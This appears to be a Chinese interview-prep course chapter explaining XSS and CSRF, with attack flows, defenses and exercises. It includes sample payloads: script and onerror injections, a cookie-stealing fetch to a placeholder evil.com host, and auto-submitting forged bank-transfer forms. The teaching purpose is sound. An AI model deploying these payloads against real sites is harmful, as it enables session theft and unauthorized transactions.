跳到主要内容
预计阅读 44 分钟

浏览器篇 | XSS 与 CSRF

前言

Web 安全是前端面试中的经典考点,而 XSS 和 CSRF 则是其中出场率最高的两个话题。它们的名字你一定听过,基本概念可能也能说个大概,但面试官想听到的远不止”XSS 是跨站脚本攻击,CSRF 是跨站请求伪造”这种一句话定义。

面试官可能会追问:

  • XSS 有几种类型?它们的攻击路径分别是什么?
  • 为什么设置了 HttpOnly 还可能被 XSS 攻击?
  • CSRF 的攻击前提条件是什么?为什么 SameSite Cookie 能防 CSRF?
  • CSP 具体怎么配?能防住哪些攻击?
  • XSS 和 CSRF 之间有什么联系?

本章我们就把这两种攻击从原理到防御全部讲透,让你在面试中不仅能说出”是什么”,还能讲清楚”为什么”和”怎么防”。


诊断自测

Q1:下面这段代码有什么安全问题?怎么修复?

// 服务端渲染搜索结果页
app.get('/search', (req, res) => {
  const keyword = req.query.q;
  res.send(`<h1>搜索结果:${keyword}</h1>`);
});
点击查看答案

这是典型的反射型 XSS。攻击者可以构造 URL:/search?q=<script>alert(document.cookie)</script>,用户点击后,<script> 标签会被原样插入 HTML 并执行。

修复方法:对用户输入进行 HTML 转义,将 <>&" 等特殊字符转换为 HTML 实体。

function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

app.get('/search', (req, res) => {
  const keyword = escapeHtml(req.query.q);
  res.send(`<h1>搜索结果:${keyword}</h1>`);
});

Q2:CSRF 攻击的前提条件是什么?

点击查看答案

CSRF 攻击需要满足三个前提:

  1. 用户已登录目标网站,浏览器中有有效的认证 Cookie
  2. Cookie 会自动携带:浏览器在发送跨站请求时会自动带上目标站点的 Cookie(SameSite 策略未阻止)
  3. 目标接口没有额外的身份校验:只依赖 Cookie 认证,没有 CSRF Token 或其他防护

三个条件缺一不可。

Q3:XSS 和 CSRF 的关系是什么?它们能组合使用吗?

点击查看答案

XSS 和 CSRF 可以组合使用。如果攻击者通过 XSS 在目标网站中注入了脚本,这段脚本可以在用户的浏览器中以该网站的身份发起请求——这相当于绕过了所有 CSRF 防御(因为脚本运行在同源页面上,可以读取 CSRF Token、Cookie 等)。所以说 XSS 是比 CSRF 更”底层”的攻击:如果 XSS 存在,CSRF 的防御形同虚设。


一、XSS:跨站脚本攻击

什么是 XSS

XSS(Cross-Site Scripting)是指攻击者在目标网站中注入恶意脚本,使其在其他用户的浏览器中执行。

为什么缩写是 XSS 而不是 CSS?因为 CSS 已经被”层叠样式表”占用了,所以用 X 代替 Cross。

XSS 能做什么

一旦攻击者的 JS 在你的页面中执行,它可以做到:

  • 窃取 Cookiedocument.cookie 拿到用户的会话凭证,发送给攻击者
  • 伪造用户操作:用 JS 发请求转账、修改密码、发帖等
  • 键盘记录:监听用户的键盘输入,窃取密码
  • 页面篡改:修改页面内容,显示钓鱼表单
  • 重定向:把用户重定向到恶意网站

XSS 的核心危害在于:攻击者的代码和你的代码在同一个页面中执行,拥有完全相同的权限。

三种 XSS 类型

1. 反射型 XSS(Reflected XSS)

恶意代码包含在 URL 中,服务端接收后直接拼接到 HTML 中返回给用户。

攻击流程:

1. 攻击者构造恶意 URL:
   https://example.com/search?q=<script>stealCookie()</script>

2. 通过邮件/社交媒体等方式诱导用户点击

3. 服务端把 q 参数的值直接拼入 HTML:
   <h1>搜索结果:<script>stealCookie()</script></h1>

4. 用户浏览器执行了恶意脚本

特点:

  • 恶意代码不存储在服务端,每次攻击都需要用户点击特定 URL
  • 需要社会工程学配合(诱导用户点击)
  • 一次性攻击:URL 被点击一次就攻击一次

2. 存储型 XSS(Stored XSS)

恶意代码被存储到服务端(数据库、文件等),每次其他用户访问包含该内容的页面时都会执行。

攻击流程:

1. 攻击者在评论/帖子/个人简介中提交恶意内容:
   <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

2. 服务端将内容存入数据库

3. 其他用户访问该页面时,服务端从数据库取出内容,拼入 HTML

4. 所有访问该页面的用户都会执行恶意脚本

特点:

  • 恶意代码持久化在服务端
  • 影响面广:所有访问该页面的用户都中招
  • 不需要诱导点击 URL
  • 危害最大的 XSS 类型

3. DOM 型 XSS(DOM-based XSS)

恶意代码不经过服务端,完全在客户端(浏览器)中执行。前端 JS 直接把用户输入插入到 DOM 中,导致恶意脚本执行。

// ❌ 危险:直接把 URL 参数插入 DOM
const keyword = new URLSearchParams(location.search).get('q');
document.getElementById('result').innerHTML = `搜索: ${keyword}`;

// 攻击者构造 URL:
// ?q=<img src=x onerror="stealCookie()">
// innerHTML 会解析 HTML,触发 onerror 事件执行脚本

特点:

  • 恶意代码不经过服务端,从 URL、location.hashdocument.referrer 等客户端数据源注入
  • 服务端无法感知和拦截
  • 常见的危险 API:innerHTMLdocument.write()eval()

三种 XSS 对比

类型恶意代码存储位置触发方式影响范围服务端是否参与
反射型URL 参数用户点击恶意 URL单次
存储型服务端数据库用户访问包含恶意内容的页面持续
DOM 型URL/客户端数据源前端 JS 不安全地操作 DOM单次

二、XSS 防御策略

2.1 输出编码(最核心的防御)

原则:永远不信任用户输入,在输出到页面时进行编码。

不同的输出位置需要不同的编码方式:

// 1. HTML 内容:HTML 实体编码
// <div>用户输入</div>
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

// 2. HTML 属性:同样需要 HTML 实体编码
// <input value="用户输入">

// 3. JavaScript 上下文:JS 编码
// <script>var name = '用户输入';</script>
// 需要对引号、反斜杠等进行转义

// 4. URL 参数:URL 编码
// <a href="/search?q=用户输入">
encodeURIComponent(userInput);

// 5. CSS 上下文:CSS 编码
// <div style="background: 用户输入">
// 尽量避免在 CSS 中插入用户输入

关键理念:编码应该在”输出”时做,而不是”输入”时做。 因为同一份数据可能在不同的上下文中使用(HTML 里、JS 里、URL 里),每个上下文需要的编码方式不同。

2.2 CSP(Content Security Policy)

CSP 是一种浏览器安全机制,通过设置 HTTP 响应头,告诉浏览器哪些资源可以加载和执行。

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'

这条策略的含义:

  • default-src 'self':默认只允许加载同源资源
  • script-src 'self' https://cdn.example.com:JS 只能从同源或 cdn.example.com 加载
  • style-src 'self' 'unsafe-inline':CSS 允许同源和内联样式

CSP 能防御什么:

  • 阻止内联脚本执行:即使攻击者注入了 <script>alert(1)</script>,如果 CSP 不允许内联脚本,浏览器会拒绝执行
  • 阻止外部恶意脚本加载:攻击者注入的 <script src="https://evil.com/steal.js"> 不在白名单中,不会加载
  • 限制 eval 等危险操作

常用 CSP 指令:

# 最严格的策略(推荐作为起点)
Content-Security-Policy:
  default-src 'none';
  script-src 'self';
  style-src 'self';
  img-src 'self';
  connect-src 'self';
  font-src 'self';
  base-uri 'self';
  form-action 'self'

# 使用 nonce 允许特定的内联脚本
Content-Security-Policy: script-src 'nonce-abc123'
<!-- 只有 nonce 匹配的内联脚本才能执行 -->
<script nonce="abc123">
  console.log('这个可以执行');
</script>

<script>
  console.log('这个被阻止');
</script>
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

HttpOnly 标记的 Cookie 不能通过 JavaScript 访问document.cookie 读不到它)。这意味着即使页面被 XSS 攻击,攻击者也无法直接窃取 session Cookie。

但要注意:HttpOnly 不能阻止 XSS 攻击本身。 攻击者的脚本仍然可以在页面中执行,做很多危险的事情(比如以用户身份发请求、修改页面内容等)。HttpOnly 只是让攻击者拿不到 Cookie 而已。

2.4 避免危险的 DOM API

// ❌ 危险:会解析 HTML
element.innerHTML = userInput;
document.write(userInput);

// ✅ 安全:只设置文本内容,不解析 HTML
element.textContent = userInput;
element.innerText = userInput;

如果确实需要插入 HTML,使用 DOMPurify 等库进行清理:

import DOMPurify from 'dompurify';

// 清理后的 HTML 是安全的
element.innerHTML = DOMPurify.sanitize(userInput);

2.5 防御策略总结

防御手段防御对象效果
输出编码所有 XSS从根源阻止注入
CSP所有 XSS限制脚本执行,纵深防御
HttpOnlyCookie 窃取保护会话凭证
textContent 代替 innerHTMLDOM 型 XSS避免 HTML 解析
DOMPurify 清理需要插入 HTML 的场景过滤危险标签和属性

三、CSRF:跨站请求伪造

什么是 CSRF

CSRF(Cross-Site Request Forgery)是指攻击者诱导已登录用户的浏览器向目标网站发送恶意请求。这些请求会自动携带用户在目标网站的 Cookie,导致服务端误以为是用户本人的操作。

CSRF 攻击原理

核心利用点:浏览器在发送请求时会自动携带目标域名下的 Cookie。

攻击流程:

1. 用户登录了银行网站 bank.com,浏览器中有 bank.com 的 session Cookie

2. 用户在没有退出登录的情况下,访问了攻击者的网站 evil.com

3. evil.com 的页面中包含:
   <img src="https://bank.com/transfer?to=attacker&amount=10000">

   <form action="https://bank.com/transfer" method="POST">
     <input name="to" value="attacker">
     <input name="amount" value="10000">
   </form>
   <script>document.forms[0].submit();</script>

4. 浏览器自动向 bank.com 发送请求,并携带了用户的 session Cookie

5. bank.com 收到请求,验证 Cookie 有效,执行转账操作

CSRF 的三种攻击方式

1. GET 型 CSRF

<!-- evil.com 页面 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">

利用 <img><script><link> 等标签发起 GET 请求。这就是为什么涉及状态变更的操作(转账、删除等)不应该用 GET

2. POST 型 CSRF

<!-- evil.com 页面 -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf-form').submit();</script>

自动提交一个隐藏表单。

3. 链接型 CSRF

<a href="https://bank.com/transfer?to=attacker&amount=10000">
  点击领取优惠券
</a>

需要用户主动点击链接。


四、CSRF 防御策略

4.1 SameSite Cookie(现代浏览器最有效的防御)

SameSite 是 Cookie 的一个属性,用来控制 Cookie 在跨站请求时是否被发送。

Set-Cookie: session=abc123; SameSite=Strict
Set-Cookie: session=abc123; SameSite=Lax
Set-Cookie: session=abc123; SameSite=None; Secure

三种值的区别:

SameSite 值跨站 GET 请求跨站 POST 请求同站请求
Strict不发送 Cookie不发送 Cookie发送
Lax(默认值)发送 Cookie不发送 Cookie发送
None发送 Cookie发送 Cookie发送

Lax 是现代浏览器的默认值。它允许跨站的顶级导航 GET 请求(比如用户点击链接跳转)携带 Cookie,但禁止跨站 POST 和 <img>/<iframe> 等子资源请求携带 Cookie。

对于安全性要求高的场景(如银行),建议使用 Strict 但 Strict 会导致所有从外部链接跳转到你网站的请求都不带 Cookie,用户需要重新登录,体验上有影响。

4.2 CSRF Token

在每个表单中嵌入一个不可预测的随机 Token,提交时服务端验证 Token 的有效性。

<!-- 服务端在渲染表单时,生成一个随机 Token -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="a1b2c3d4e5f6">
  <input name="to" value="">
  <input name="amount" value="">
  <button type="submit">转账</button>
</form>
// 服务端验证
app.post('/transfer', (req, res) => {
  if (req.body._csrf !== req.session.csrfToken) {
    return res.status(403).send('CSRF token invalid');
  }
  // 执行转账逻辑
});

为什么有效?因为攻击者在 evil.com 上构造表单时,无法获取目标网站生成的 CSRF Token——同源策略阻止了跨站读取。

4.3 检查 Origin / Referer 头

服务端可以检查请求的 OriginReferer 头,验证请求是否来自合法的页面。

app.post('/transfer', (req, res) => {
  const origin = req.headers.origin;
  if (origin !== 'https://bank.com') {
    return res.status(403).send('Invalid origin');
  }
  // 继续处理
});

但这种方式有局限性:

  • Referer 头可能因为隐私设置被浏览器省略
  • 某些 older proxy 可能修改或删除这些头
  • 所以通常作为辅助手段,不作为唯一防御

将 CSRF Token 同时存放在 Cookie 和请求参数中,服务端比对两者是否一致。

// 前端
const csrfToken = getCookie('csrf-token');
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': csrfToken // 从 Cookie 中读取后放入请求头
  },
  body: JSON.stringify({ to: 'someone', amount: 100 })
});

为什么有效?攻击者虽然能让浏览器携带 Cookie,但由于同源策略,攻击者的 JS 无法读取目标站点的 Cookie 值,所以无法在请求头中设置正确的 Token。

4.5 防御策略总结

防御手段原理推荐程度
SameSite Cookie阻止跨站请求携带 Cookie强烈推荐(现代浏览器默认 Lax)
CSRF Token攻击者无法获取随机 Token强烈推荐
Origin / Referer 检查验证请求来源作为辅助手段
双重 Cookie攻击者无法读取 Cookie 值推荐

五、XSS 与 CSRF 的区别与联系

核心区别

维度XSSCSRF
攻击目标在目标网站中执行恶意脚本以用户身份发送伪造请求
攻击原理注入代码利用 Cookie 自动携带
是否需要登录不一定必须已登录
代码执行位置目标网站(同源)攻击者网站(跨站)
信任的对象用户信任网站(网站被注入了恶意代码)网站信任用户(用户的请求被伪造)

一个经典的总结:

XSS 利用的是用户对网站的信任(网站上的代码应该是安全的,但被注入了恶意代码)。

CSRF 利用的是网站对用户的信任(带着有效 Cookie 的请求应该是用户发的,但实际是伪造的)。

组合攻击

如果网站存在 XSS 漏洞,CSRF 的防御会被完全绕过

// XSS 注入的脚本,可以在同源页面中:
// 1. 读取 CSRF Token
const token = document.querySelector('meta[name="csrf-token"]').content;

// 2. 读取 Cookie(如果不是 HttpOnly)
const session = document.cookie;

// 3. 以用户身份发送合法请求
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': token
  },
  body: JSON.stringify({ to: 'attacker', amount: 10000 })
});

因为 XSS 注入的脚本运行在目标网站的同源上下文中,它可以做一切用户能做的事情。所以说:防 XSS 是基础中的基础,XSS 没防住,其他安全措施都可能失效。


六、一个完整的安全防御清单

实际项目中,XSS 和 CSRF 的防御应该组合使用、多层防护

1. 输出编码(防 XSS 的核心)
   ├── HTML 上下文 → HTML 实体编码
   ├── JS 上下文 → JS 编码
   ├── URL 上下文 → URL 编码
   └── CSS 上下文 → CSS 编码

2. CSP(纵深防御 XSS)
   ├── 禁止内联脚本
   ├── 限制脚本来源
   └── 使用 nonce 或 hash

3. Cookie 安全
   ├── HttpOnly → 防止 JS 读取 session Cookie
   ├── Secure → 只在 HTTPS 下发送
   ├── SameSite=Lax/Strict → 防止 CSRF
   └── 合理设置 Domain 和 Path

4. CSRF 防御
   ├── CSRF Token
   ├── 双重 Cookie 验证
   └── Origin/Referer 检查

5. 其他
   ├── 使用 textContent 代替 innerHTML
   ├── 使用框架的自动转义(React、Vue)
   ├── 定期安全审计
   └── 使用 DOMPurify 清理富文本

现代前端框架(React、Vue)默认对插入的内容进行HTML 转义,大大降低了 XSS 的风险。但仍然要注意 dangerouslySetInnerHTML(React)和 v-html(Vue)这类”逃生舱”API——一旦使用它们,你就需要自己确保内容是安全的。


常见误区

误区一:“用了 React/Vue 就不用担心 XSS”

React 和 Vue 默认确实会对 JSX/模板中的文本内容做 HTML 转义。但以下场景仍然有 XSS 风险:

  • dangerouslySetInnerHTML(React)或 v-html(Vue)
  • href="javascript:..." 类型的链接
  • 动态拼接 CSS(style 属性注入)
  • 服务端渲染时的数据注入

框架只是降低了风险,不是消除了风险。

误区二:“只要加了 HttpOnly 就能防住 XSS”

HttpOnly 只防止了 XSS 攻击中”窃取 Cookie”这一种手段。攻击者的脚本仍然可以在页面中执行,做很多其他危险操作(发请求、记录键盘、修改页面等)。HttpOnly 是一层防御,不是全部防御。

如果 CSRF Token 放在 Cookie 中而没有放在请求参数/请求头中,那它完全无法防御 CSRF——因为 Cookie 会被浏览器自动携带,攻击者的请求也会带上这个 Token Cookie。正确做法是:Token 放在 Cookie 中的同时,前端要从 Cookie 中读取出来并放到请求头或请求体中,服务端比对两者是否一致。

误区四:“CSRF 只针对 POST 请求”

任何能改变服务器状态的请求都可能受到 CSRF 攻击,包括 GET、POST、PUT、DELETE。GET 型 CSRF 甚至更容易发起(一个 <img> 标签就够了)。这也是为什么 RESTful 设计中强调:GET 请求不应该有副作用。


小结

本章系统梳理了 XSS 和 CSRF 两种最常见的 Web 安全攻击。

核心要点

  1. XSS 是代码注入攻击:攻击者在目标网站中注入恶意脚本,有反射型、存储型、DOM 型三种类型
  2. XSS 防御的核心是输出编码:在输出到 HTML、JS、URL 等不同上下文时使用对应的编码方式
  3. CSP 是纵深防御:通过限制脚本来源和执行方式,即使注入成功也无法执行
  4. CSRF 是请求伪造攻击:利用浏览器自动携带 Cookie 的特性,以用户身份发送恶意请求
  5. SameSite Cookie 是最有效的 CSRF 防御:现代浏览器默认 Lax,已经能阻止大部分 CSRF
  6. XSS + CSRF 可以组合攻击:XSS 存在时,所有 CSRF 防御都可能被绕过
  7. 安全需要多层防御:没有银弹,应该组合使用多种防御手段

本章思维导图

浏览器:XSS 与 CSRF
  • XSS(跨站脚本攻击)
    • 三种类型
      • 反射型:恶意代码在 URL 中,服务端拼入 HTML
      • 存储型:恶意代码存入数据库,影响所有访问者
      • DOM 型:前端 JS 不安全地操作 DOM
    • 防御
      • 输出编码(核心):HTML/JS/URL/CSS 上下文分别编码
      • CSP:限制脚本来源和执行
      • HttpOnly Cookie:防止 JS 读取 session
      • textContent 代替 innerHTML
      • DOMPurify 清理富文本
  • CSRF(跨站请求伪造)
    • 攻击前提
      • 用户已登录
      • Cookie 自动携带
      • 无额外身份校验
    • 攻击方式
      • GET 型:img/script 标签
      • POST 型:自动提交表单
      • 链接型:诱导点击
    • 防御
      • SameSite Cookie(Strict/Lax)
      • CSRF Token
      • Origin/Referer 检查
      • 双重 Cookie 验证
  • XSS 与 CSRF 的关系
    • XSS 注入代码,CSRF 伪造请求
    • XSS 存在时 CSRF 防御失效
    • 防 XSS 是安全的基础

练习挑战

第一题(⭐ 基础):判断攻击类型

以下三个场景分别属于什么类型的攻击?

A. 攻击者在论坛帖子中插入了 <script> 标签,所有看到这个帖子的人都受影响 B. 攻击者发给你一个链接 https://shop.com/search?q=<script>alert(1)</script>,你点击后弹出弹窗 C. 攻击者在自己的网站上放了一个自动提交的表单,目标是你已经登录的银行网站

点击查看答案与解析
  • A:存储型 XSS。恶意代码被存储在服务端(论坛帖子数据库中),所有访问该页面的用户都受影响。
  • B:反射型 XSS。恶意代码在 URL 参数中,服务端直接拼入 HTML 返回给当前用户。
  • C:CSRF。攻击者没有在目标网站注入代码,而是利用用户的登录状态(Cookie),在自己的网站上伪造请求。

第二题(⭐⭐ 进阶):找出漏洞并修复

下面的 React 代码有安全隐患吗?如果有,怎么修复?

function UserProfile({ user }) {
  return (
    <div>
      <h1>{user.name}</h1>
      <div dangerouslySetInnerHTML={{ __html: user.bio }} />
      <a href={user.website}>个人主页</a>
    </div>
  );
}
点击查看答案与解析

有两个安全隐患:

1. dangerouslySetInnerHTML 直接渲染用户输入

如果 user.bio 包含恶意 HTML(如 <img src=x onerror="stealCookie()">),会直接执行。

修复:使用 DOMPurify 清理。

import DOMPurify from 'dompurify';

<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(user.bio) }} />

2. href 属性的 JavaScript 注入

如果 user.website 的值是 javascript:alert(document.cookie),用户点击链接就会执行恶意脚本。

修复:验证 URL 的协议。

function sanitizeUrl(url) {
  try {
    const parsed = new URL(url);
    if (['http:', 'https:'].includes(parsed.protocol)) {
      return url;
    }
    return '#';
  } catch {
    return '#';
  }
}

<a href={sanitizeUrl(user.website)}>个人主页</a>

user.name 是安全的——React 的 JSX 默认会对文本内容进行 HTML 转义。

第三题(⭐⭐⭐ 综合):设计安全方案

你正在开发一个在线银行系统,需要设计完整的安全方案来防御 XSS 和 CSRF。请列出你会采取的所有防御措施,并说明每项措施防御的是什么攻击、为什么需要它。

点击查看答案与解析

完整防御方案:

防 XSS:

  1. 输出编码:使用模板引擎自动转义(如 React/Vue 默认行为),禁止使用 dangerouslySetInnerHTMLv-html。原因:从根源阻止代码注入。

  2. 严格的 CSP

Content-Security-Policy:
  default-src 'none';
  script-src 'self' 'nonce-{random}';
  style-src 'self';
  img-src 'self';
  connect-src 'self';
  frame-ancestors 'none'

原因:即使有注入漏洞,CSP 也能阻止恶意脚本执行。frame-ancestors 'none' 还能防止页面被嵌入 iframe(防点击劫持)。

  1. HttpOnly + Secure Cookie
Set-Cookie: session=xxx; HttpOnly; Secure; Path=/

原因:HttpOnly 防止 JS 读取 Cookie,Secure 防止 HTTP 明文传输。

防 CSRF:

  1. SameSite Cookie
Set-Cookie: session=xxx; SameSite=Strict

原因:Strict 禁止所有跨站请求携带 Cookie,对银行系统来说安全性最重要。

  1. CSRF Token:每个敏感操作的表单/请求都携带随机 Token,服务端验证。原因:作为 SameSite 的补充,防御不支持 SameSite 的旧浏览器。

  2. Origin 检查:验证请求的 Origin 头。原因:辅助防御手段,多一层保护。

其他:

  1. 敏感操作二次验证:转账等操作需要输入支付密码/验证码。原因:即使 CSRF/XSS 都被突破,二次验证仍然是最后一道防线。

  2. X-Content-Type-Options: nosniff:防止浏览器 MIME 类型嗅探。

  3. X-Frame-Options: DENY:防止点击劫持。

  4. 定期安全审计和渗透测试

核心理念:纵深防御。不依赖任何单一防御手段,多层叠加,任何一层被突破时都有其他层兜底。


自我检测

  • 能说出 XSS 的三种类型(反射型、存储型、DOM 型)及各自的攻击路径
  • 能解释为什么”输出编码”是 XSS 防御的核心,以及不同上下文需要不同的编码方式
  • 能说清楚 CSP 的作用和基本配置方式
  • 能解释 HttpOnly Cookie 能防什么、不能防什么
  • 能说出 CSRF 攻击的三个前提条件
  • 能解释 SameSite Cookie 的三种值(Strict/Lax/None)的区别
  • 能说清楚 CSRF Token 的工作原理和为什么攻击者无法获取 Token
  • 能解释 XSS 和 CSRF 的区别,以及为什么 XSS 存在时 CSRF 防御会失效

购买课程解锁全部内容

大厂前端面试通关:71 篇构建完整知识体系

¥89.90